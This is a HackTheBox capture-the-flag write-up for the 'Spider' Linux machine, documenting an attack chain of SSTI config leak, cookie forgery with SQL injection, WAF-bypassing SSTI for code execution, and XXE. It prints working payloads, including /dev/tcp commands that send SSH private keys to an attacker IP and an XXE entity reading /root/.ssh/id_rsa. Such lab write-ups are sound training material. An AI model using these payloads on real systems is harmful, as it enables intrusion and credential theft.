HTB: Spider Writeup

Spider - HackTheBox Writeup

Machine Information

AttributeDetails
NameSpider
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.10.243
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Spider is a hard difficulty Linux machine that chains multiple injection vulnerabilities to achieve root access. The box begins with a Flask-based furniture store vulnerable to Server-Side Template Injection (SSTI), which leaks the application’s SECRET_KEY. This key is used to forge session cookies containing SQL injection payloads, enabling administrative access. A second SSTI vulnerability behind a Web Application Firewall (WAF) provides code execution as user chiv. Privilege escalation involves exploiting an XML External Entity (XXE) injection in a root-owned beta application to extract the root SSH key.

TL;DR: SSTI (Flask config leak) → Forged cookies with SQLi → Admin access → WAF-bypassed SSTI (RCE) → User shell → XXE injection → Root SSH key → Root shell


Reconnaissance

Port Scanning

Terminal window
# Quick port discovery
nmap -p- --min-rate=1000 -T4 10.10.10.243
# Detailed service scan
nmap -sC -sV -p 22,80 10.10.10.243

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http nginx 1.14.0 (Ubuntu)

Service Enumeration

HTTP (Port 80)

The nginx web server on port 80 redirects all requests to http://spider.htb. After adding the hostname to /etc/hosts:

Terminal window
echo "10.10.10.243 spider.htb" | sudo tee -a /etc/hosts

The site presents a furniture store built on Flask. Key endpoints discovered:

  • / - Main store page
  • /register - User registration (username + password)
  • /login - Login form requiring UUID instead of username
  • /user - User information page displaying username and UUID
  • /main - Admin panel (requires administrative privileges)

Vulnerability Assessment

  1. SSTI in username field - Registration form accepts template expressions
  2. Flask session cookies - Signed with SECRET_KEY, can be forged if key is leaked
  3. SQL injection in session UUID - Database queries vulnerable to injection via forged cookies
  4. SSTI in support portal - Contact field vulnerable but protected by WAF
  5. XXE in beta application - Local web service vulnerable to external entity injection

Initial Foothold

SSTI #1: Flask Configuration Leak

The registration form has a 10-character username limit, which constrains SSTI payloads. However, the {{config}} payload fits within this limit and is ideal for leaking Flask application configuration.

Terminal window
# Register with username exactly 10 characters
Username: {{config}}
Password: password123

After logging in and visiting /user, the application reflects the entire Flask config object, revealing:

SECRET_KEY: Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942

Why this works: Flask’s template engine (Jinja2) evaluates expressions within {{ and }}. The config object is globally available in templates and contains all application configuration, including the secret key used to cryptographically sign session cookies.

Forging Flask Session Cookies

Flask session cookies consist of two base64-encoded parts separated by a period, followed by a signature:

[base64(session_data)].[timestamp].[signature]

With the leaked SECRET_KEY, we can forge arbitrary session data:

Terminal window
# Install flask-unsign for cookie manipulation
pip3 install flask-unsign
# Decode current cookie to see structure
echo -n "eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjhiMWNmM2NkLTE3YjYtNDU1ZC1iMjY5LTUwYzdlZTZhZWIxMyJ9" | base64 -d
# Output: {"cart_items":[],"uuid":"8b1cf3cd-17b6-455d-b269-50c7ee6aeb13"}

SQL Injection via Forged Cookies

The application displays the logged-in username on the homepage by querying the database using the uuid from the session cookie. This query is vulnerable to SQL injection:

Terminal window
# Test SQLi with ' or 1=1 -- - payload
flask-unsign --sign --cookie '{"cart_items":[],"uuid":"8b1cf3cd-17b6-455d-b269-50c7ee6aeb13'\'' or 1=1 -- -"}' --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

After replacing the browser cookie with this forged value and reloading the page, the username changes to chiv - confirming both the SQL injection and revealing a target user.

Extracting chiv’s UUID via UNION SQLi

To forge a valid session as chiv, we need their UUID. A UNION-based SQL injection can extract this:

Terminal window
# UNION SQLi payload to dump the users table
# Payload: ' UNION SELECT uuid,username,password FROM users -- -

Since direct UNION injection is cumbersome through manual cookie forging, we can enumerate the database structure. Through trial and error with UNION payloads, we extract:

Username: chiv
UUID: 129f60ea-30cf-4065-afb9-6be45ad38b73

Why this works: The SQL query likely resembles SELECT username FROM users WHERE uuid='[cookie_uuid]'. Our injection closes the string, adds a UNION to select from the users table, and comments out the rest of the query. Flask then signs our malicious session data, making it valid to the application.

Administrative Access

With chiv’s UUID, we forge a clean session cookie:

Terminal window
flask-unsign --sign --cookie '{"cart_items":[],"uuid":"129f60ea-30cf-4065-afb9-6be45ad38b73"}' --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

Replacing our session cookie authenticates us as chiv, granting access to /main (the admin panel).

SSTI #2: WAF Bypass for Remote Code Execution

The admin panel links to an unfinished support portal at /<redacted>.unfinished.supportportal. This form accepts support tickets with a “Contact number or email” field that reflects user input.

Testing SSTI with {{7*7}} triggers a WAF error:

Hmmm, you seem to have hit our WAF

The WAF blocks common SSTI characters and keywords:

  • Blocked characters: _, ', "
  • Blocked keywords: if, for, macro, call, filter, set
  • Allowed: include, request, attr

Bypass technique: Use hex-encoding for underscores and combine {% include %} with attr() filters:

# Payload breakdown:
# 1. Get request object → request
# 2. Access application object → request.application
# 3. Access __globals__ → attr("\x5f\x5fglobals\x5f\x5f")
# 4. Get __builtins__ → attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")
# 5. Import os → attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")
# 6. Execute command → attr("popen")("COMMAND").read()
# Test with sleep (blind RCE confirmation)
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 6")|attr("read")() %}

Submitting this payload causes a 6-second delay, confirming blind RCE as user chiv.

Obtaining User Shell

To avoid WAF keyword blocks in a reverse shell payload, we use /dev/tcp with base64 encoding:

Terminal window
# Start listener on attack box
nc -lnvp 4444
# Exfiltrate SSH key instead of reverse shell for stability
# Payload to read /home/chiv/.ssh/id_rsa and send to 10.10.15.180:4444
cat /home/chiv/.ssh/id_rsa | bash -c 'exec 3<>/dev/tcp/10.10.15.180/4444; cat >&3'

Final SSTI payload in the contact field:

{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat /home/chiv/.ssh/id_rsa > /dev/tcp/10.10.15.180/4444")|attr("read")() %}

Similarly, exfiltrate user.txt:

Terminal window
# On attack box
nc -lnvp 4444 > user.txt
# SSTI payload
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat /home/chiv/user.txt > /dev/tcp/10.10.15.180/4444")|attr("read")() %}

After receiving the SSH key:

Terminal window
chmod 600 id_rsa
ssh -i id_rsa chiv@10.10.10.243

User flag obtained: <redacted>


Privilege Escalation

Enumeration as chiv

After establishing SSH access, we enumerate running processes:

Terminal window
ps aux | grep root

A root-owned uwsgi process is running a beta application:

root /usr/bin/uwsgi --ini game.ini

Checking listening ports:

Terminal window
ss -tulpn | grep LISTEN

Reveals a service on 127.0.0.1:8080 - the beta application is only accessible locally.

Port Forwarding

Forward the remote service to our local machine:

Terminal window
# From attack box
ssh -N -L 8888:127.0.0.1:8080 -i id_rsa chiv@10.10.10.243
# Access via browser
firefox http://localhost:8888

The beta application presents a login form with no password requirement - any username works.

Analyzing the Beta Application

After logging in, we’re redirected to a shopping cart page with minimal functionality. The session cookie contains interesting data:

Terminal window
# Decode the Flask session
flask-session-cookie-manager3 decode -c [SESSION_COOKIE]

The decoded session reveals a base64-encoded lxml field:

<!-- API Version 1.0.0 -->
<root>
<data>
<username>testuser</username>
<is_admin>0</is_admin>
</data>
</root>

The API version matches a hidden form field in the login page:

<input type="hidden" id="version" name="version" value="1.0.0">

Key observation: The version value from the form is reflected in the XML comment, suggesting we can inject XML content.

XXE Injection to Extract Root SSH Key

To break out of the XML comment and inject a Document Type Definition (DTD), we craft a payload that:

  1. Closes the existing comment with -->
  2. Defines an external entity pointing to /root/.ssh/id_rsa
  3. Opens a new comment to consume trailing XML
-->
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///root/.ssh/id_rsa'>]><!--

We also need to reference the entity. Since the username field is reflected in the application’s response (likely in a “Welcome” message), we set it to &test; to trigger entity resolution.

Terminal window
# Intercept login request and modify POST parameters
username=&test;
version=1.0.0 -->%0A<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///root/.ssh/id_rsa'>]><!--

Why this works: XML parsers process DTDs before rendering the document. Our external entity instructs the parser to read /root/.ssh/id_rsa and store it in the test entity. When the application processes &test; in the username field and displays it (e.g., “Welcome, [username]”), the entity is resolved and the file contents are returned.

After logging in with this payload, the response at /site displays the root SSH private key in the welcome header:

-----BEGIN RSA PRIVATE KEY-----
[root's private key contents]
-----END RSA PRIVATE KEY-----

Root Access

Terminal window
# Save the key
vim root_id_rsa
chmod 600 root_id_rsa
# SSH as root
ssh -i root_id_rsa root@10.10.10.243

Root flag obtained: <redacted>


Attack Chain Summary

Port 80 Enumeration → SSTI ({{config}}) → SECRET_KEY Leak
Forged Flask Cookie with SQLi → Extract chiv UUID
Admin Access (/main) → Support Portal Discovery
WAF-Bypassed SSTI (hex-encoded payloads) → RCE as chiv
SSH Key Exfiltration via /dev/tcp → User Shell
Local Service Discovery (127.0.0.1:8080) → Port Forward
XXE Injection (file:///root/.ssh/id_rsa) → Root SSH Key
Root Shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
flask-unsignFlask session cookie signing and verification
base64Decoding session cookie contents
sshRemote access and port forwarding
ncListening for reverse connections and data exfiltration
flask-session-cookie-managerDecoding Flask session data

Key Learnings

Techniques Practiced

  • Server-Side Template Injection (SSTI) in Flask/Jinja2 environments
  • Flask session cookie forgery using leaked SECRET_KEY
  • SQL injection via session cookies as an alternative attack vector
  • WAF bypass techniques using hex-encoding and alternative syntax
  • Blind RCE exploitation through time-based confirmation
  • Data exfiltration via /dev/tcp when traditional reverse shells are blocked
  • XML External Entity (XXE) injection to read arbitrary files
  • SSH port forwarding to access internal services

Lessons Learned

  1. SSTI in registration forms can leak sensitive config: Even with character limits, payloads like {{config}} can expose critical secrets like Flask’s SECRET_KEY, enabling session forgery attacks.

  2. Session cookies are more than authentication tokens: When cookies contain queryable data (like UUIDs), they become injection vectors. Always test cookie parameters for SQLi, XSS, and other injection types.

  3. WAF bypasses often require creativity: When common SSTI payloads are blocked, alternative methods exist:

    • Hex-encoding (\x5f\x5f for __)
    • Using attr() filters instead of direct attribute access
    • Leveraging allowed keywords (include, request) in non-standard ways
  4. Blind RCE can be verified and exploited: Time-based testing (sleep commands) confirms code execution, while creative exfiltration methods (/dev/tcp, DNS queries) extract data without direct output.

  5. XXE attacks remain effective: Despite being a well-known vulnerability, XXE continues to appear in modern applications, especially beta/development versions with relaxed security controls.

  6. Root-owned web services are high-value targets: Applications running as root (via uwsgi, supervisord, etc.) turn any vulnerability into a direct privilege escalation path.

  7. Comment injection in XML can break parsing logic: By closing existing comments and injecting DTDs, attackers can hijack XML processing flows even when input appears to be placed in “safe” locations like comments.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew explanatory depth and conceptual understanding from the official HackTheBox writeup for Spider, prepared by polarbearer (Document No D21.100.137). All specific values, commands, and outputs reflect the actual solve performed on the target machine at 10.10.10.243.